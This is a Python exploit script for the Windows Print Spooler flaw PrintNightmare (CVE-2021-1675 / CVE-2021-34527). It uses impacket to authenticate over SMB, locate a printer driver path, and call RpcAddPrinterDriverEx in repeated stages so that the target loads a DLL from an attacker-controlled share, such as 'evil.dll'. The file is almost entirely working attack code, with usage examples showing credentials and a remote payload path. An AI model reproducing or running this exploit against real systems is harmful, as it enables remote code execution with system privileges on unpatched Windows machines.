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CVE-2021-1675.py
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CVE-2021-1675.py
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#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import pathlib
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
structure = (
('cVersion','<L'),
('NameOffset', '<L'),
('EnvironmentOffset', '<L'),
('DriverPathOffset', '<L'),
('DataFileOffset', '<L'),
('ConfigFileOffset', '<L'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self, data, offset=0):
Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le')
#self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le')
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data = None, pcReturned = None):
Structure.__init__(self, data = data)
self['drivers'] = list()
remaining = data
if data is not None:
for i in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self['drivers'].append(attr)
remaining = remaining[len(attr):]
def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
rpctransport = transport.DCERPCTransportFactory(binding)
rpctransport.set_dport(port)
rpctransport.setRemoteHost(address)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
print("[*] Connecting to {0}".format(binding))
try:
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
except:
print("[-] Connection Failed")
sys.exit(1)
print("[+] Bind OK")
return dce
def getDriver(dce, handle=NULL):
#get drivers
resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned'])
for i in blobs['drivers']:
if "filerepository" in i['DriverPathArray'].lower():
return i
print("[-] Failed to find driver")
sys.exit(1)
def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "MS-RPRN PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
#connect
dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
if not options.pDriverPath:
try:
blob = getDriver(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually")
sys.exit(1)
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
else:
pDriverPath = options.pDriverPath
if "\\\\" in options.share:
options.share = options.share.replace("\\\\","\\??\\UNC\\")
print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share))
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(dce, pDriverPath, options.share)
print("[*] Try 2...")
main(dce, pDriverPath, options.share)
print("[*] Try 3...")
main(dce, pDriverPath, options.share)